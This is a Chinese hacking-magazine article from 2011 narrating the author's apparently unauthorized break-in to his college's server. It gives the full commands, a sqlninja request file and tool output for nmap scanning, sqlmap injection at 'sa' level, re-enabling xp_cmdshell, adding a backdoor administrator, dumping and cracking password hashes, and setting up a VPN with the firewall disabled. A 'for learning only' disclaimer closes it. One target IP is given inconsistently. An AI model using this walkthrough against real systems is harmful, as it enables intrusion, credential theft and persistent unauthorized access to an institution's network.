Backtrack5 下渗透校园网

本文已发于《黑客防线》2011.10期

某次去机房突然看到了挂在墙上的网络拓扑图,从而了解整个学院的网络分布情况。正好泄露了网络拓扑结果,于是在了解拓扑结构的情况下,展开了一次渗透测试。在此题外话一句,不知为何现在的学校喜欢把网络拓扑图详细地贴在墙上,女友学校的网络拓扑图还竟然公开在学校的网站上,实在无语。我简略绘制本校的拓扑结构,如图1:

图1.jpg

整个学院内部用的 10.10.0.0 网段的IP地址,学院有 DHCP、DNS、Web、FTP 服务器,它们都共同位于 10.10.8.0 网段。

我们宿舍每个人的书桌下有网线插孔,从拓扑图中就可以看出,虽然没有开通上网,只要网线插上去,同样可以跨网段访问,默认没有 ACL 的。也就是对 Web 服务器可以访问的,经过扫描,还有不少内部网站,比如在线电影之类的。

我的想法是拿下某一台机器的权限,然后开个 VPN 来上网。为了长期使用,我选择了对服务器下手,先就选择了 Web 服务器。顺便说下,我主要用的 BackTrack5 作为渗透环境,所使用的大部分工具均来源于 BackTrack5 中。

Web 服务器是在 10.10.8.0 这个网段的,首先用 Nmap 对整个网段进行扫描:

root@bt:~# nmap -sS -p 80 10.10.8.1-254 --open

其中,-p 参数代表只扫描指定端口,参数后跟欲扫描的端口号;–open 表示结果只显示开放了 80 端口的主机;10.10.8.1-254 是 IP 地址的范围,指代 10.10.8.1~10.10.8.254,因为 255 是广播地址,所以只用扫到 254 即可。只用了 3 秒多,就扫描完了整个网段,结果如图 2:

图2.jpg

我选择了 10.10.8.15 这个目标站,因为它是 ASP.NET 架构的,如果有注入,较容易提权(后面事实证明的确非常好提权)。

打开以后竟然是一个旅游方面的网站,记得在学校某内部网站找到这个网站的链接,标明的是网络协会的,可见大学学生的东西有多杂。

随便点开了一则新闻的页面,然后用 sqlmap 扫描:

sqlmap.py -u "http://10.10.8.51/Web/News/Opiniondetail.aspx?id=54"

很快就返回了如下文字:

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=53' AND 9442=9442 AND 'fVBu'='fVBu
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 4.0.30128
back-end DBMS: Microsoft SQL Server 2005
[*] shutting down at: 13:14:52

看来的确有注入,详细信息都在上面了,操作系统是 Windows 2003,IIS 6.0 以及数据库是 MSSQL 2005。立即看看数据库当前的用户名,提交如下命令:

./sqlmap.py -u "http://10.10.8.51/Web/News/Opiniondetail.aspx?id=54" --current-user

以下是从 sqlmap 返回的一长串信息中摘下的:

[13:35:28] [INFO] fetching current user
[13:35:28] [INFO] read from file '/pentest/database/sqlmap/output/10.10.8.51/session': sa
current user:    'sa'

显示了当前用户名是 sa,如果真的是 sa 权限,那么已经成功了一半以上了。提交以下命令查看当前用户的权限:

./sqlmap.py -u "http://10.10.8.51/Web/News/Opiniondetail.aspx?id=54" --privileges

摘下的关键返回信息,如下:

database management system users privileges:
[*] nx
[*] sa (administrator)

果然是 SA 权限,赶紧换成 Sqlninja,Backtrack5 中的 Sqlninja 是新版本,新版本的 Sqlninja 已经不和以前的配置方法一样了,需要先建一个配置文件。在终端中键入 touch conf.conf 建立一个配置文件,针对此次攻击,我的配置文件如下:

--httprequest_start--
GET http://10.10.8.51/Web/News/Opiniondetail.aspx?id=53';/**/__SQL2INJECT__ HTTP/1.1
Host: 10.10.8.51
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
Connection: close
--httprequest_end--

Sqlninja 的配置文件格式用了标准的 HTTP 请求,以 –httprequest_start– 和 –httprequest_end– 作为开始和结束,GET 中 URL 后面的 __SQL2INJECT__ 会被 Sqlninja 自动替换成相应的注入语句。

保存文件。由于 SQL Server2005 默认是禁用了 xp_cmdshell 的,所以首先需要恢复 xp_cmdshell 存储过程,键入命令:

root@bt:/pentest/database/sqlninja# ./sqlninja -m x -f conf.conf -d 1

-m 参数为攻击模式,x 参数为恢复 xp_cmdshell 存储过程;-f 用来指定配置文件;-d 后跟 1 可以注入时提交的 SQL 语句,方便学习,回显如下:

> >++++++++++++++++SQL Command++++++++++++++++
if not(substring((select @@version),25,1) <> 5) waitfor delay '0:0:5';
-------------------------------------------
[+] Target seems a SQL Server 2005
1: 2000
2: 2005
f: fingerprint and act accordingly
> 2
[+] Trying to reactivate xp_cmdshell using sp_configure...
++++++++++++++++SQL Command++++++++++++++++
exec master..sp_configure 'show advanced options',1;reconfigure;exec master..sp_configure 'xp_cmdshell',1;reconfigure
-------------------------------------------
[+] Checking whether xp_cmdshell is available
++++++++++++++++SQL Command++++++++++++++++
exec master..xp_cmdshell 'ping -n 5 127.0.0.1';
-------------------------------------------
[+] Yes ! Now xp_cmdshell is available

成功恢复 xp_cmdshell 了,接着开始执行系统命令。在终端键入:

./sqlninja -m c -f conf.conf

c 参数用来执行 xp_cmdshell。

root@bt:/pentest/database/sqlninja# ./sqlninja -m c -f conf.conf
Sqlninja rel. 0.2.6-rc2
Copyright (C) 2006-2011 icesurfer <r00t@northernfortress.net>
[+] Parsing conf.conf...
[+] Target is: 10.10.8.51:80
[+] Starting blind command mode. Use "exit" to be dropped back to your shell.
>

这时光标在“>”后面闪动,用于输入命令。我分别执行 net user lu4nx 123456/add、net localgroup administrators lu4nx /add 来添加一个名为 lu4nx 的管理员。

由于 Backtrack5 中的 mstsc 不太好用,我就在 Windows 里用 mstsc 登录了。 于是顺便在主机上建了一个 VPN。

登录远程桌面后,我用 wce.exe 抓出 Administrator 的 hash,然后用 Ophcrack 挂上 7G 的彩虹表跑出了密码,接着在“本地用户和组”中,右击 Administrator,选择属性,在“拨入”选项卡中,将“远程访问权限(拨入或 VPN)”改成“允许访问”,如图3:

图3.jpg

然后在“控制面板”——“路由和远程访问”,在相应的计算机名中点右键,选择“配置并启用路由和远程访问”,弹出的向导中选择“自定义配置”,勾选“VPN”访问和“NAT和基本防火墙”,完成向导后启用服务即可,只要保证 Server、Routing and Remote Access、Remote Registry 和 Workstation 四个服务开启了,关闭 Windows 防火墙即可。

然后在本地建立一个 VPN 连接,填入 IP、用户名和密码即可,如图4:

图4.jpg

本文主要综合使用了一下 BackTrack5 中的工具,本文纯属学习,勿用于其他用途:)